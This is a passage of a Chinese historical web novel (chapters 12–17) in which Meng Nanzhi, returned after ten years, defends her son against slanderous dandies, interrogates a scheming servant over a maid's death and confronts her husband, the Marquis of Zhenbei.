推开虚掩的窗,孟南枝脚踩踏板扶着窗棂一步步登上屋檐,趴在栏杆上眺望了下寂静的院子,便又转身寻到幼时常坐的位置,慢慢躺下。
随着她年长,已经变长的披风下摆垂到了屋檐边,扫过墙根钻出的草芽。
仰头望去,夜空却像是蒙了雾,月亮和星星都影影绰绰的,让人看不清。
还真是扫兴。
而她不知道的是,隔着几丈远的东邻阁楼阴影里,一袭蓝衣足足站立了一夜。
当看到她的身影出现在屋檐上时,那双素来清冷无波的眸子里忽然迸出光点,亮得惊人。
第12章 是有些怕的
翌日清晨。
孟南枝刚洗漱完毕,便听到阁楼传来一阵轻快的脚步声。
“母亲。”
少年的声音带着些急切和愉悦。
他今早得到消息,有了珩弟的踪迹,不日便能找到他,等他回来看到母亲一定和他一样高兴得说不出话来。
孟南枝抬眼望去,便见长子沈砚修手里握着几枝开得正艳的木芙蓉,迎着光向她走来,“母亲,我摘了您最喜欢的花。”
孟南枝心里像窝了一层蜜,拿起帕子擦掉他发稍的露珠和鼻尖的草屑。
像以前一样,轻点着他的鼻尖说道:“是不是去了你外祖父的花圃?这可是他最爱的花,小心他知道了不饶你。”
“外祖父才不会怪我。”
沈砚修弯腰将花枝插进梳妆台上的白玉瓶里,仰脸笑道:“因为是母亲最爱的花,所以才是外祖父最爱的花,外祖父若知道我是摘来送给母亲的,不仅不会怪我,反而还只会夸我摘得好。”
孟南枝抬手揉了揉少年的头,柔声问道:“起那么早,可曾用了膳?”
沈砚修看向母亲摇了摇头,“还没呢,想等着母亲一起。”
只是不知道今日的母亲胃口会不会好一点。
孟南枝对着铜镜往头上插了一枝白玉簪,抬眼问道:“城南的刘氏灌汤包可还开着?”
母亲心情好了?
沈砚修愣了下,眼睛瞬间亮起来:“开着呢,母亲,你可是饿了,我这就去给您买。”
“不用。”孟南枝寻了一件素色披风披着肩上,待看到他衣袍下沾着的绿色青汁,笑推了推他,道:“你去换件衣服,陪母亲一起出去。”
“好嘞。”
沈砚修声音中带着雀跃,转身就往外跑,刚下了两个台阶,又“噔噔”地跑上来在门口露了个头,“母亲你一定要等我,我马上就好!”
孟南枝失笑摇头,还是和孩子时一样莽撞。
沈砚修换完一身月白锦衣跑来时,腰间玉带系得斜得没边儿。
孟南枝伸手替他系端正了,轻声道:“先随我去给你外祖父请个安,告诉他咱们今日出去用早膳。”
“啊?”
沈砚修闻言却突然变得有些扭捏,伸手抓了抓耳后鬓发,道:“母亲,方才我换衣过来时,见到外祖父院里有客。”
孟南枝替他整理衣襟的手顿了顿,有些好奇道:“这么早会有谁来做客?你可看清了?”
“母亲,是国舅爷。”
沈砚修道抬眼看向四周,声音低了些。
“谢归舟?屠戎将军?”
孟南枝眉尖微蹙,脑海中立刻浮现一个清瘦的身影,五官精致,眉目清洌,却总是低垂着眼帘,让人看不清心事。
谢家乃是将门世家,满门忠烈,为了守住大衍,死了一代又一代,到他这一代时,就剩下了皇后和他这么两个子嗣。
帝后念他年幼,便将他养在宫中,和皇子一般教养。
父亲因为是皇子太傅,她时常被带去宫中,几位皇子也会时不时地来孟府,所以孟南枝对他也颇有印象。
比自己辈分高,却又比自己要年幼几岁。
所以每次见到他,在称呼上总觉得怪怪的。
她恍惚记起最后一次见他,还是自己与镇北侯沈卿知大婚那日。
喜帕下的视线虽然朦胧,却分明瞥见他缩在廊柱后,待她望过去时,那身影却猛地转了过去,只留下挺直却僵硬的脊背。
“是啊母亲,正是他。”
沈砚修点头,手指下意识地揉了揉手臂。
他其实对屠戎将军是有些怕的。
每次他和朋友出去,一旦遇见他,便会以什么世子当知兵事为由把他拉到营中历练。
他一个文官世家的世子,走的不是武将的路子,又不准备带兵打杖,历练什么啊历练。
上次撞见他,被拉到营里练了三天的骑射。
他现在想起来还觉得手臂酸疼,混身无力。
还是不要见他的好。
只是这话,定然是不能与母亲说的。
所以,沈砚修拉着母亲的手腕道:“母亲,屠戎将军来寻外祖父肯定是有要事相谈,咱们还是不要打扰外祖父,和胡姨母说一下便好了。”
孟南枝想了想,点头道:“那便和胡姨娘说一下吧。”
两人到正院与正在缝衣的胡姨娘说了去向。
胡姨娘叮嘱了几句,又嘱咐刘嬷嬷一定要跟着照看好,才放心他们坐上马车出去。
这边,孟府书房,事已议毕。
孟正德看向端坐在自己旁边侧位的谢归舟,温和笑道:“归舟你那般早来,怕是还未曾用过早膳吧。”
谢归舟身着玄色常服,领口绣着金丝暗纹,面色冷俊,闻言几不可查地勾了勾唇角,“尚未。”
孟正德笑道:“既如此,不如就在孟府用些便饭,恰好枝枝和世子也在府中。”
谢归舟眼帘微阖,因为眉骨高挑,导致他垂眸时折射的阴影让人看不清半分情绪。
孟正德身为他曾经的太傅,知他素来缄默,只当他是应了。
不多时,胡姨娘便吩咐丫鬟将饭菜备了案。
孟正德看向只有两人的餐盘和一旁空着的椅子,问道:“枝枝和修儿呢。”
胡姨娘福身道:“老爷,方才枝枝来时,您正欲与将军议事。枝枝便让我与您传话,她带着世子出去用早膳,让您不必等她。”
“也罢。”孟正德闻言无奈地摇了摇头,对着谢归舟道:“你也知道,我这丫头向来随兴。”
又抬手示意他先吃饭,“请。”
谢归舟闻言微微颔首,声音依旧平稳无波道:“太傅先请。”
只是那不经意间扫向空椅的眸子,却是暗了又暗。
……
孟府的车轮碾过通往南城的青石板路,发出规律的声响。
为了不重现昨日沈砚修出现后,街市变成空市的场景,孟南枝勒令他同自己坐在马车内。
沈砚修并不觉得闲闷,反而恣意地享受与母亲同处的场景。
孟南枝撩开车帘,看着窗外的街市。
昨日未能细细打量,今日才发现那曾经的周氏绸缎庄换成了李氏药堂,杂货铺的牌匾变成了如家银楼,就连城南街角的那棵老槐树都被伐了,种上了白杨树。
到了刘氏灌汤包的铺子,沈砚修率先跳下马车,亲自扶着母亲往铺子里走。
坡脚的刘嬷嬷空着手,跟在后面感叹:夫人回来后,小世子一下子就长大了。
进了店,添了满头霜雪的刘掌柜正在教儿子打算盘,一个约莫六七岁的小男孩,正用布巾擦着方桌。
看到他们进来,连忙问道:“客官,吃点什么?”
沈砚修道:“来两份鲜肉汤包。”
小男孩道:“好嘞,阿公,两份鲜肉汤包。”
听到声音的刘掌柜连忙起身,待看到一身素衣的孟南枝时,刚拿在手里的布巾“啪嗒”掉在地上,他揉了揉眼睛,又惊又喜地道:“孟姑娘?”
第13章 昨夜的猪
孟南枝笑盈盈的看向神情激动的刘掌柜,道了声:“刘叔。”
她幼时顽劣,总爱不受人管辖的往外跑。
有一次爬树掏鸟窝时,脚下一滑从树上掉了下来,被树边靠摆摊卖汤包勉强养家糊口的刘掌柜接住,才免于受伤。
母亲急匆匆的赶来后,抱着她又斥又哭,后怕不已。
看刘掌柜过得辛苦,为了答谢他,母亲便想着送他一间铺子。
但憨厚淳朴的刘掌柜认为那不过是举手之捞,死活不愿接受。
母亲便折中,说要用一间铺子做汤包生意,交由他打理。
原本只是想还个人情,却没想到刘掌柜的手艺甚好,每年都有盈利。
母亲故后,这店铺的归属自然也就到了她手里。
她未嫁时,三五不时的会来,一来是馋汤包,二来也是为防着有人闹事。
嫁于沈卿知后,忙于锁事,便很少再来了。
刘掌柜擦了擦湿润的眼角,连忙三步并作两步跑过来,道:“真是孟姑娘?真好,真好,回来了真好。”
“坐,坐,坐。”
刘掌柜寻到最好的位置,将椅子用袖子擦了又擦,才领着孟南枝坐下来,“姑娘可是想吃汤包了?我亲自给您做。”
孟南枝笑着看着他去忙。
身后的沈砚修看看忙碌的刘掌柜,又看看自己的母亲。
服叹道,母亲就是母亲,走到哪里都有人敬着。
不像自己,走到哪里……
沈砚修扫了眼本还是吃饭,却在他进来后,一个个低着头出去的人影。
暗自安慰:也是有人敬着的。
不多时,刘掌柜便亲自端着笼屉走过来。
笼盖掀开,热腾腾的烟雾下露出一个个色香味俱全的汤包。
沈砚修率先夹了一个稳稳放在孟南枝面前的白瓷碟子里,道:“母亲,您先吃。”
孟南枝看着碟里的汤包,眼底漾出暖意。
轻轻“嗯”了一声,在少年热烈而期盼的注视下慢慢轻食。
见母亲吃了,沈砚修这才夹起一个放在嘴里,连嚼两下,味都没品便直接咽了下去,看着母亲笑叹道:“好吃!真好吃,母亲寻的地,永远是最好吃的。”
刘掌柜也笑着附合:“是,小姐不仅眼光好,还是和以前一样年轻漂亮。”
少年的尾巴立马翘了起来,扬声道:“那是,也不看看是谁,那可是我沈砚修的母亲!”
孟南枝笑嗔了长子一眼,“嘴贫,快吃吧。”
只是这时,几个身着锦袍的浪荡子摇摇晃晃的闯进来。
腰间的香囊流苏晃得人眼晕,身子虚得像是经历一夜奋战,站都站不稳。
“掌柜的,来几笼包子。”
几人肩揽肩、手揽手,连摸带撞的在孟南枝旁边的桌椅上坐下。
刘掌柜不想他们污了小姐的眼,连忙上前劝说着让他们往旁边挪,“甄公子、黄公子,那边地小,来这边坐,这边宽敞。”
领首的甄公子眉目清秀,却偏偏生了一双吊眼,让人难以讨喜。
听闻刘掌柜让他们挪位,立马便恼道:“本公子想坐哪就坐哪,掌柜的,你管的还挺宽!”
其他几位也跟着附和。
“对,我们想坐哪就坐哪,老头子,你卖你的包子,事儿还挺多。”
“对,我们就坐这里,这里宽敞……这里好……”
长子沈砚修见状不满的站起来。
孟南枝连忙拉住他,并对刘掌柜暗自摇了摇头。
示意他不必为了自己影响生意。
刘掌柜连忙吩咐儿子迅速给他们上了汤包。
只希望他们赶紧吃完,赶紧走人。
可几人摇头晃脑的,却半天没动筷子。
直到其中一位眉上长痣的三白眼公子咬了口包子,“呸”地一口吐在地上。
“这是什么玩意儿?这么难吃。”
说着,又将每一个包子都咬了一口吐在地上,冲刘掌柜喝道:“掌柜的,过来!你给本公子上的这是什么包子,怎么都是臭的。”
刘掌柜慌忙小跑上前,解释道:“黄公子,这是昨夜刚杀的猪,今早刚盘的馅,新鲜的很。”
领首的吊眼甄公子从盘里捻起一个汤,连尝都没尝,便是道:“你说这是昨夜的猪?本公子看这是死了好几夜的猪,发臭的猪也敢给本公子吃?怎么,你是想毒害本公子?”
“不敢,不敢。”
刘掌柜弓着腰,脸上堆着讨好的笑,“甄公子,这肉真是昨夜刚杀的,那血还在后院没凝固呢。几位公子要是实在吃不惯,小的这就将钱赔给公子。”
吊眼甄公子嗤笑一声,脚往条櫈上一踩,身子虚得差点没站稳,身后的公子连忙扶住他。
甄公子甩开他们的手,迁怒的冲刘掌柜喝道:“赔?你能陪几个钱?”
刘掌柜赶紧伸出手指,道:“六两,小的这就给公子取来。”
“六两?”
甄公子像是听到了什么天大的笑话,捡起一个包子砸在刘掌柜脸上。
“老头子,你也不好好看看我这张脸。”甄公子指着自己的脸,一字一顿道:“我,甄少兴,平阳公府三公子。六两,你打发叫花子呢?”
刘掌柜接过打在脸上的包子,心疼的放在怀里,低声道:“甄公子,这一笼汤包也就两纹钱,六两已经是小店几天的收入。再多,小的也拿不出了。”
三白眼早已听得不耐烦了,“甄公子你还在和他说什么废话,没有一百两银子,今日这店就别开了!”
说着,他猛得一拍桌子,起身狠狠一掀,那红木方桌便翻着跟头倒下去,桌子上的包子跟着掀飞落了孟南枝面前满满一桌子,滚烫的肉汁溅了她半了袖子。
“母亲,你有没有伤着。”
沈砚修先是上前看看母亲有没有受伤,而后猛得一拍桌子站了起来,“甄少兴!要滋事你去别处滋事去,莫要扰了我母……”
他话头猛得一顿,飞快侧身挡在母亲前面,“莫要扰了本世子的雅兴。”
“哟,我说刚才掌柜的为什么让非要让我挪位呢,原来是沈世子在这里。”
甄少兴慢悠悠的擦掉手上的油渍,转身过来时眼尾上挑,目光在沈砚修脸上打了个转。压根没留意到沈砚修方才的小动作,自然也就没看到他身后的孟南枝。
第14章 你们也配?
甄少兴斜眼瞧见沈砚修身后光了盘的桌子,扯了扯嘴角,嘲讽道:“本公子瞧着这肉都是臭的,沈世子也能咽得下去?”
沈砚修胸口起伏,冷声道:“本世子吃着这肉新鲜得很。”
“几日不见,连一向待人凶狠苛刻的沈世子都学会为他人出头了。”
甄少兴嘲笑一声,道:“不过沈世子,你放着你们镇北侯府里的好酒好肉不吃,偏要一大早的跑到这破店里凑什么趣?”
甄少兴突然贴近沈砚修,言语轻挑道:“莫非你也同我们一般,昨日彻夜未归,留宿在温柔香里?”
沈砚修的俊脸涨得通红,喝斥道:“甄少兴,你要把别人说的都与你们一样。”
甄少兴摊手道:“我们和你哪里不一样,也是,我们和你不一样,至少我们不会毒杀通房,是吧。”
说完,他大笑着看向众人。
几个浪荡公子皆大声笑道:“是啊,整个京都,也就镇北侯家的沈世子心恨,连软玉在怀的通房都能下得去手。”
甄少兴啧啧两声,忽然又扬声说道:“哦,对了,本公子听说沈世子去明家退了亲?也是,那明家女本就配不上你。”
“赶明儿本公子带你去醉香阁转转,你前阵子不是惦记着那的芙蓉姑娘?今晚我做东,请你……”
“住口!”
沈砚修猛得喝断他,又羞又恼回头看了眼母亲尚平的脸色,“本世子从来做过!也从来没有说过!你莫要信口雌黄!”
“没说?”
甄少兴挑眉道:“怎么会,明明是你嫌弃那明家女无盐又无德,还是叛徒之女,配不上你的世子爷身份,要与她退了亲。黄营东,你说,是不是沈世子说的。”
三白眼黄营东立马接话道:“是,就是沈世子说的,现在谁不知道沈世子嫌弃明家女是叛徒之女,京都都快传遍了。”
自己明明没有在外人面前说过。
想起母亲昨日阻止他去退婚时说的话,沈砚修惊出一身凉汗。
有人想毁他!
孟南枝同样惊疑不定的站了起来,昨日她明明阻拦长子退婚成功了,为什么还会传出这种谣言?
思此,她走到甄少兴面前,冷声问道:“谁传的?”
甄少兴眯着吊眼看向孟南枝,视线在她美得精心动魄的脸上反复流连,伸手便想摸上去,“这是哪位美人?沈世子,难道你去明家退婚就是为了这个美人?”
孟南枝一巴掌扇到他的脸上,“我,也是你能碰的?!”
又一巴掌扇过去。
“我的店铺,也是你能滋事的?!”
再一巴掌扇过去。
“你们,也配妄议我儿?!”
这群纨绔竟然妄议她长子。
话语中的轻慢与污蔑,刺得她心口发疼。
她孟南枝的孩子,怎么能受这种委屈!
甄少兴被打的脑子嗡嗡的,伸手指着孟南枝,嘴唇却哆嗦着说不出话。
“你个贱人,竟然欺辱我们甄公子,你可知道我们是谁!”
三白眼见状,上前就要去打孟南枝,却被沈砚修一脚踹翻在地,“滚!”
黄营东躺在地上,疼得整个身子缩成一团,嘴里却依旧嗷嗷直叫,“竟然敢打小爷我,小爷我要杀了你!”
一名油面浪荡子见势不妙,悄悄溜到门边准备跑出去搬救兵,却被反应极快的刘掌柜伸脚一绊,结结实实地摔了个狗啃泥。
刘掌柜沉着脸对儿子使了个眼色,让他赶紧关门上闩并去门口守着,又吩咐孙子去后厨与他娘和阿婆待在一起,以免出来殃及受伤。
跟她比地位?
孟南枝抬了抬眉,刘嬷嬷立马寻了一张高椅让她坐下。
慢条斯理的理了理衣襟,孟南枝冷眼看向甄少兴,道:“平阳公府庶子,甄少兴?”
她目光转向地上不知来处的三白眼,刘嬷嬷立马附耳轻声道:“吏部黄尚书家二公子,黄营东。”
黄营东?
孟南枝闻言微顿,巨幕中,长子死前,好似有人状告他毒害的名单里就有这个人。
长子因何与他起了争执?
孟南枝不解,却低头将他的脸重重的记在脑海里。
而后看向他们,语气平淡却带着不容置疑的威压:“你们可知我是谁?”
甄少兴看着一向倨傲不骥的沈砚修对她即敬又慕的态度,又瞧着她虽然身着素衣,却丝毫遮掩不住的矜贵气度。
心里一时有些发怵。
这究竟是哪位贵人?
他怎么从来没有印象。
地上的黄营东却不知死活,挣扎着爬起来啐了口唾沫,梗着脖子叫嚣:“我管你是哪路货色!今日敢伤小爷,我定要让你在大牢里蹲得出不来!”
沈砚修怒喝一声,再次将他踹翻在地,脚踩着他的后背厉声道:“在我母亲面前也敢如此放肆,真当我镇北侯世子的名号是白叫的?”
三白眼黄营东被踩得闷哼一声,嘴里依旧不干不净:“侯世子又怎么了?不过是个没娘撑腰的丧家犬罢了,神气什么!”
孟南枝闻言神色一凛,手拿起盘子就朝他头上砸了过去。
她在面前呢,她儿还能如此被欺。
她不在时呢?
这些人究竟把她儿欺到了何种地步!
怪不得巨幕中会说修儿杀了他。
他该死!
黄营东额头鲜血直流,两眼直翻白眼,手指着孟南枝“你、你”了半天,却说不出话,一头栽了下去。
甄少兴闻言却是猛地惊醒,再看孟南枝不过与自己年岁相仿。
顿时松了口气,指着孟南枝哈哈笑道:“被说中恼羞成怒了?!沈世子,你说这是你母亲?你怕不是疯了吧?你母亲早在十年前就溺死在大衍湖底了。”
沈砚修气得浑身发抖,抬脚就将甄少兴踹倒在地,脚踩在他脸上,怒骂道:“辱我母亲,你信不信本世子让你见不到今日的夕阳。”
眼见长子的表情疯狂,孟南枝连忙道:“修儿。”
沈砚修抬眼看向温和看向他的母亲,那一刻想杀人的心平复下来。
一直默不作声,年长些的浪荡子盯着高坐的孟南枝,忽然面色惨白,指着她道:“是她,是她!就是她!她和十年前镇北侯夫人的画像长得一模一样!”
甄少兴这才慌了神,使劲揉了揉眼睛仔细看去,那张脸越看越心惊,结结巴巴道:“侯、侯夫人,真是是侯夫人?”
若是别的侯府夫人,他身后有国公府,自然是不在意。
可这却是镇北侯夫人!
那位母亲虽然去世的早,却背靠皇家,父亲是天子伴读、皇子太傅,几位皇子都尊称她一声姐姐的孟家女郎。
镇北侯夫人,让人震的从来就不是镇北侯三个字,而是镇北侯夫人是她孟南枝!
第15章 镇北侯府
想那镇北侯原也不过和他一样,只是一名上不得台面的庶子,若凭他自己的本事,哪里能坐得上侯爷之位。
也不过是个凭着靠妻上位的钻营者罢了。
孟南枝轻轻拂了拂裙摆上并不存在的灰尘,低头看着长子脚下的甄少兴,拿起桌上的木筷轻轻敲了敲他的脸颊,声音清冷如冰:“说!是谁传的我儿退了婚事?”
甄少兴连忙道:“我,我不知道,我是听下人这么说才知道。”
不知道?
孟南枝蹙眉,冰冷的目光扫向另外几个人,“你们呢?也不知道?”
几人皆摇头。
那年长的浪荡子小声道:“侯夫人,我们也是听醉香阁里的姑娘说的。”
“母亲。”
沈砚修看向母亲,欲言又止,眼底满是委屈。
他明明还没做,竟然被传的到处都是。
孟南枝冲他温和点头,示意他稍安勿躁,此事她自有主张。
她又转向地上的两人,冷声问道:“你们刚说我儿毒杀通房可有证据?”
她知她的孩儿,皆是良善性子,断不会做出此事。
甄少兴和黄营东几人连忙头摇得如拨浪鼓,“没,没有……我们,都是听别人说的。”
“既然你们没有证据,那便是蓄意诬蔑!”
孟南枝声音陡然转厉,对长子沈砚修道:“修儿,将这两个满口胡言的东西送去应天府,让府尹依律论罪,好好查一查他们背后还有谁在煽风点火。”
“是,母亲。”
沈砚修眼眶泛红,泪珠直转。
当年他被传出毒杀通房的污名时,曾与人据理力争。
父亲知晓后不仅不护着他,反而偏袒外人。
还斥责他为什么外面都只传他不传别人,还不是因为他做了。
可今日,母亲连问都未问一句,便坚定地站在他这边。
这份信任与维护,哪是父亲可以比拟的。
看着长子沈砚修亲自将那几人送到府衙后,孟南枝在刘嬷嬷的搀扶下,坐上马车。
孟南枝问道:“嬷嬷,为什么会传出修儿毒杀通房的闲话?”
她语气平静,眸子的寒气却是翻涌不断。
刘嬷嬷自知她是生了气,忙是说道:“回夫人,去岁世子刚过束发礼,府里有个叫春燕的婢子,借着给世子送安神汤的由头,竟脱了外衣往世子床上钻。”
“世子当即就恼了,喝令她出去。那婢子不仅不肯走,反倒抱着世子的腿哭哭啼啼,说什么生是世子的人死是世人的鬼,嚷得整个府里的人都听得清清的。”
“世子气得发抖,喊了小厮把人拖出去掌嘴。谁曾想,第二日一大早,就有人发现那婢子浮在了后院的井里。”
她顿了顿,脸上浮出几分愤懑:“紧跟着,府外就传开了说世子嫌那婢子身子弱,不堪重用,给虐杀了。”
孟南枝眉峰微蹙,问道:“当真是自己跳的?”
不是她不信,而是她认为能干出爬床这种事的丫鬟,怎会因这点折辱就去寻死?
“夫人明鉴。”
刘嬷嬷道:“那婢子是平夫人选进府的,老奴虽然对她了解不多,却是知晓她平日里就是个脸皮厚的,说起燥话来没个正形。所以老奴怎么都想不通她会跳井,就悄悄让人查了。”
说到这里,刘嬷嬷突然自责道:“夫人,是老奴无用。”
孟南枝心中明了,问道:“可是又查回到了修儿身上?”
刘嬷嬷点头又摇头,道:“是,老奴查到世子身旁的恶仆,将他提到了侯爷面前,可那恶仆在侯爷面前却咬死了说是听世子的安排。在平夫人明里偏帮暗里拉踩下,侯爷根本就不听世子辩证,当场便打了世子一巴掌。此后……”
顿了顿,刘嬷嬷才道:“此后,世子便不再让老奴查了。”
孟南枝恼得握紧了手,指尖几乎都要陷进掌心里。
她的修儿不是不想查了,而是心死了!
镇北侯,竟然欺她儿于此!
闭了闭眼,孟南枝问道:“那恶奴呢?”
刘嬷嬷道:“还在府中。”
孟南枝理了理衣襟,道:“回孟府寻两个得力的,随我去趟镇北侯府。”
刘嬷嬷闻言眼眶一热,忙应声:“是,夫人。”
孟府的马车停在镇北侯府门前时,孟南枝微微掀起车帘一角。
原先的朱漆大门不仅换成了新的,还扩到了两丈宽。
守门的仆役是两个生面孔,见到孟府的马车,不仅不通传行礼,反而斜睨着眼问道:“来者何人?”
先下车的刘嬷嬷虽然跛着一只脚,可身上穿着的青布裙褂,却把她的脊背衬得笔挺。
听到仆役如此问话,连忙冷声喝道:“瞎了眼的东西,见了夫人,还不跪下!”
“刘嬷嬷,今日怎么得了闲。”
头发已经花白的来顺,踉跄着身子从门房里跑出来。
抬眼看到刘嬷嬷扶着的孟南枝时,“噗通”一声跪倒在地,膝盖撞在青石板上,发生一阵闷响。
“夫、夫人!老奴恭贺夫人回府!”
南枝没看他,径直往侯府里走。
府院内稍微年长些洒扫的婢女和那修花剪枝的老奴,看清她的眉眼时,无不惊喜,纷纷跪了一地,紧跟着一声声带着哽咽的声音喝道。
“恭贺夫人回府!”
“恭贺夫人回府!!”
“恭贺夫人回府!!!”
只有那些稍微年青、才入府的奴仆,虽然跟着跪了下来,却不明所以。
什么夫人?
谁家的夫人?
他们的平夫人明明就是侯府。
还有这什么夫人身边跟着的不是被侯爷赶出府的刘嬷嬷吗?
之前明明看她已经很老了。
怎么今日看,头发虽然花白却滋润光滑,腿有点坡,却是脊背挺直带着年轻气儿。
这是跟了什么新的主子,准备回来耀武扬威来了?
孟南枝嫁到沈家时,沈家虽然是侯府,却是外强中干,表面看着光滑罢了,日子过得不仅不奢侈,反而相当俭仆。
而这一路走来,孟南枝看到的,却是处处奢华。
花圃里栽着就连皇宫都难得一见的紫海棠,花瓣上还沾着奴婢刚洒的水珠。
凉亭后面的假山,竟然是太湖石堆成的,那假山中间竟然还嵌着南海进贡的夜明珠。
就连那庭院正中间水池子里铺着的珊瑚沙,都是只有南海才能采来的。
孟南枝眉峰微挑,眸色渐暗,抬脚缓步走向正厅。
正厅里的紫檀木桌椅换了新样式,可迎面那张嵌着螺钿的八仙桌上,放着的先朝玉壶春瓶,却是她当年从孟家带来的嫁妆。
她分明记得,她当年锁在私库的最里层。
孟南枝指尖攥得发白,镇北侯!
不仅欺她儿,竟还敢动她的嫁妆来填这府里的奢靡!
第16章 审恶奴
孟南枝在厅堂主位坐下,眼帘轻轻一阖,刘嬷嬷便对身后的壮仆吩咐道:“去,把麻乙带来。”
两名膀大腰圆的壮仆应声而去。
“夫人,您最爱喝的碧螺春。”
一位在侯府多年的丫鬟走到跟前给孟南枝上了茶。
孟南枝轻点了点头,那年长丫鬟便立马红了眼。
是夫人,真好。
随后又有几名丫鬟红着眼上前,依着她的习惯布置上她平日里喜欢的瓜果。
晶莹的葡萄剥了皮放在玉碟里,还有一盘制了冰。
两名年长些的丫鬟拿起团扇,站在她身后轻轻扇着。
这些人心里都念着她。
孟南枝心里的怒火降下不少。
不多时,两名壮仆便绑着一个衣服还未穿好的奴仆过来,并一脚将他踹跪在地上。
因着捉他时,他话说的太难听,嘴里被塞了一条破布,“啊啊啊”的发出难声的嘶吼。
孟南枝的目光就像一把寒刀,狠狠的刺向那恶奴。
却见他满脸麻子,正是昨日跟着长子身后的那名黑衣奴仆。
想着刘嬷嬷同她说的话,示意壮仆将他嘴里的破布取掉,孟南枝冷声问道:“你叫麻乙。”
跪在她面前的麻乙心里直打鼓,不知道刚回来的侯夫人是拿住了他的哪处错,连忙惶恐道:“是,小人叫麻乙。”
孟南枝拿起茶盏,道:“你是哪一年进的府?”
她越不进主题,麻乙心里越没底,只得回道:“景和八年。”
自己死的第五年。
孟南枝掀开茶盖,水是热的,直冒浓烟,“那你也算是跟在世子身边的老人了,我且问你,世子待你如何?”
麻乙眼珠一转,连忙道:“世子待小人极好,是小人的再生父母。”
“再生父母?!”
孟南枝闻言将茶盏一把砸在他的脸上,滚烫的开水在他脸上直接烫出水泡,“你好大的脸!”
麻乙疼的直打哆嗦,却又伏下磕头道:“小人错了,世子待小人恩重如山。”
“恩重如山。”孟南枝站起身,走下来伸脚抬走他的头,“你便是这般待你的主子,处处陷害诬蔑主子的?!”
麻乙却不敢看她的脸,连忙又低下头道:“夫人,小人冤枉,小人对世子忠心耿耿,绝不敢造次诬蔑世子。”
“冤枉?”孟南枝抬脚将他踹翻在地上,道:“难道那春燕不是你害的?”
麻乙闻言心中一惊,却又一松道:“夫人,那春燕被害最小人听世子吩咐做的,一切都是世子的意思。”
“还敢嘴硬!”刘嬷嬷上前一把扇在他的脸上,“世子只是让你们给她掌嘴,并没有让你害了她!”
麻乙道:“世子说了,世子说不想再见到她,就是世子说的,当年小人也在侯爷面前说了,世子承认他说了这话,夫人莫要再冤枉小人。”
孟南枝闻言看向刘嬷嬷,刘嬷嬷却是点了点头。
世子确实说过这话。
孟南枝蹲下身子,盯着他的眼睛道:“你说世子说不想再见到她,便是想害了她?”
麻乙连连点头,“是,夫人,小人也是听世子的意思。”
孟南枝轻哼一声,站起来冷声道:“嬷嬷,本夫人再也不想见到他!”
“是。”
刘嬷嬷连忙对带来的两个壮仆点头示意。
粗糙的麻绳早已把他的胳膊捆绑的发麻,两个膀大腰圆的壮仆两手轻轻一提,便将他提离了地面往外走。
壮仆的腰间还别了一把刀,时不时的刮碰他的脖颈,麻乙吓得直哆嗦,“夫人饶命,小人错了,小人误解了世子的意思。”
孟南枝冷声道:“误解?不是故意?”
麻乙虽然怕得要死,却忍不敢承认,嘴硬辩驳道:“小人是误解,绝不敢故意。”
敬酒不吃吃罚酒。
孟南枝摆了摆手,懒得与他多说,“拉出去!”
麻乙立马哭喊道:“夫人,小人冤枉,侯爷知道的,侯爷当时判了的,小人无错。”
“慢着!”
正在书房议事的镇北侯沈卿知听到闹声踏步而来,看了眼被绑在地上的麻乙,眼神闪了闪,对孟南枝道:“南枝,你能回来当是喜事,怎可一进府便是如此行事?这让下人看到了该怎么看你。”
孟南枝挑眉,“怎么看我?当然是跪着不敢看我。”
“你。”沈卿知气得拂袖,“你怎么变得如此不可理喻。”
“我不可理喻?沈卿知,到底是谁不可理喻!”
孟南枝一字一顿道:“我不在,你身为父亲,不仅不护着自己的孩子,反而带头质疑他,不信他,由着那府外到处编排他、欺辱他,你当真是一个‘理喻’的好父亲!”
沈卿知涨红了脸道:“我何时不信他、质疑他,还不是因他目无尊长,到处惹是生非,这才让他在府外‘声名’四起。杀通房这事本就是他做的。”
“杀通房?”
孟南枝怒极反笑,“沈卿知,你若好好的听修儿解释,睁开你的眼睛看一看,用上三分的心思理一理,我儿如何会背上喜杀通房的骂名。”
沈卿知并不认为自己有错,只道:“这事之前就有定论,是修儿他自己下的令。”
孟南枝已知与他难以沟通,便拂袖道:“好,既然镇北侯你如此认定,那便交由府尹来定夺吧,把这恶奴送到应天府。”
麻乙闻言立马挣脱着哭喊,“侯爷,小人冤枉,侯爷您知道的,小人真是听世子行事,不敢擅自做主。”
沈卿知自觉颜面被扫,厉喝道:“南枝,这是家事,该在侯府中解决,怎可闹到府衙?”
孟南枝冷声道:“即然涉及人命,那便不再是家事,理应由府尹查明案情,按律判决。”
沈卿知恼羞道:“你就不怕会把修儿送进牢狱?!”
孟南枝声音坚定如铁道:“我信我儿,断不会做出这害人之事,待府尹查明,定会还我儿公道!”
“你!”
沈卿知伸手欲指着孟南枝的鼻子,待看到她那双清冷的眸子时,又下意识的收回了手,语气放缓道:“南枝,你信的是十年前的修儿,你可知这十年,修儿在外狂悖无礼、横行霸道给我惹了多少事。”
第17章 你有三错
孟南枝不置可否道:“给你惹事?那还不是因为你镇北侯无能,摆不平外面的风评,靠回府欺打我儿来争颜面!”
听到这话,镇北侯沈卿知气得唇上的短须都抖了三抖,喝斥道:“今日我在,谁也不能将他送入官府!”
气氛正沉闷间,林婉柔款步而来,声音娇柔软甜,“侯爷,这是气什么呢?”
麻乙见到她却像是见到了救命稻草,想喊话,却又在她的一个眼神下止住了嘴。
林婉柔身着粉色衣裙,头带垂珠玉钗,进来看到孟南枝时眼中闪过一丝阴霾,却又立马温声笑道:“原来是南枝回来了,我说侯爷怎么正议着事便离开了书房呢。”
说着,便想亲热的伸手去挽孟南枝的胳膊,“南枝,我就说昨日你该与我同侯爷一起回府的,可你偏要等上一等,可是怪我没有去接你?”
只是她话音还未落地,刘嬷嬷便已扬手扇在她脸上。
“啪”的一声脆响,林婉柔捂着脸后退半步。
沈卿知将她护在怀里,看着刘嬷嬷怒不可遏,“你这恶奴,在本侯面前也敢打人?”
“侯爷。”
刘嬷嬷先是对沈卿知行了一礼,低垂着眼,平稳道:“平夫人身为正妻,见了夫人,理该行大礼,不可不尊守规矩。”
沈卿知恼怒道:“本侯在跟前,理当询问本侯的意见。”
刘嬷嬷垂眉,完全无惧道:“老奴想侯爷定不想平夫人坏了侯府的规矩。”
沈卿知一时语塞,看着孟南枝窝火道:“南枝,你便是这般怂恿恶奴的?”
孟南枝冷笑道:“镇北侯你定我儿罪时,可曾问过我儿的意见?”
